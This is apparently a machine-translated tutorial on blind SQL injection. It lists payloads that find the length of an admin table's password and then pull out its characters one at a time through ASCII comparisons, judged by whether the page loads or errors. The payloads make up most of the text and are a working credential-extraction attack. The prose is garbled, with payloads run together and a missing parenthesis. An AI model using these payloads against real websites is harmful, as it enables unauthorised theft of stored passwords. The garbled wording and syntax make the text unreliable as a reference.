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Today, the editor to share with you is sql blind grammar judgment data content, many people do not understand, today editors in order to let you know more about sql blind grammar, so give you a summary of the following content, let's look down. There's got to be something.

If there are no wrong numbers on the page, the blind syntax is used to judge the data content according to the page changes.

Get the data length:

And (select top 1 len (column name) from table name) > 5and (select top 1 len (password) from admin) > 16 and / error and (select top 1 len (password) from admin) > 15 shock / normal

Gets the data of the specified number of digits:

And (select top 1 asc (mid (column name, position, 1)) from table name) > 97and (select top 1 asc (mid (admin,1,1)) from admin) > 96max / judging the content of the admin field, the first ascii code value is greater than 96 normal and (select top 1 asc (mid (admin,1,1) from admin) > 97max / judging the admin field content the first ascii code value is greater than 97 error description is 97mid (string, intercepted position) Number of characters intercepted) asc () / / convert characters to ascii codes for easy comparison

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